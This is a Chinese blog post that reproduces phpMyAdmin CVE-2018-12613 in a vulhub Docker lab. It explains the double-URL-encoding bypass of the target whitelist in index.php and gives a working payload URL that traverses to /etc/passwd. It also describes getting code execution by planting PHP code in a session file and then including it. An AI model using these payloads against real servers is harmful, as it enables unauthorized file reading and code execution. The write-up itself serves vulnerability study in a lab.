phpmyadmin 4.8.1 远程文件包含漏洞

phpmyadmin 4.8.1 远程文件包含漏洞

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/phpmyadmin/CVE-2018-12613/
docker-compose up -d

访问IP:8080即可进入phpMyAdmin,由于配置的config模式,所以无需输入账号密码直接登录的test账户


影响版本

phpMyAdmin

4.8.0

4.8.1


漏洞复现

phpMyadmin 4.8.1版本的index.php中存在文件包含漏洞,通过二次编码可绕过过滤。

因为在index.php中会对target值做判断,但是只要在白名单就会返回true

白名单如下:

     'db_datadict.php',
     'db_sql.php',
     'db_events.php',
     'db_export.php',
     'db_importdocsql.php',
     'db_multi_table_query.php',
     'db_structure.php',
     'db_import.php',
     'db_operations.php',
     'db_search.php',
     'db_routines.php',
     'export.php',
     'import.php',
     'index.php',
     'pdf_pages.php',
     'pdf_schema.php',
     'server_binlog.php',
     'server_collations.php',
     'server_databases.php',
     'server_engines.php',
     'server_export.php',
     'server_import.php',
     'server_privileges.php',
     'server_sql.php',
     'server_status.php',
     'server_status_advisor.php',
     'server_status_monitor.php',
     'server_status_queries.php',
     'server_status_variables.php',
     'server_variables.php',
     'sql.php',
     'tbl_addfield.php',
     'tbl_change.php',
     'tbl_create.php',
     'tbl_import.php',
     'tbl_indexes.php',
     'tbl_sql.php',
     'tbl_export.php',
     'tbl_operations.php',
     'tbl_structure.php',
     'tbl_relation.php',
     'tbl_replace.php',
     'tbl_row_action.php',
     'tbl_select.php',
     'tbl_zoom_select.php',
     'transformation_overview.php',
     'transformation_wrapper.php',
     'user_password.php',

page是取出page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true 但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码,所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true.但index中实际包含的内容却不是白名单中的文件 例如传入 ?target=db_datadict.php%253f 由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,再次解码成为 db_datadict.php? 就可造成任意文件包含.构造UR了

ip/index.php?target=db_sql.php%253f/../../../../../../../../../etc/passwd

通过包含session临时文件来实现命令执行

我们先开始执行一个SELECT '<?php phpinfo(); ?>' 命令然后查看session值来访问临时文件

使用文件包含漏洞访问该临时文件,发现命令执行成功

posted @ 2021-05-20 15:26  blankunbeaten  阅读(175)  评论(0编辑  收藏  举报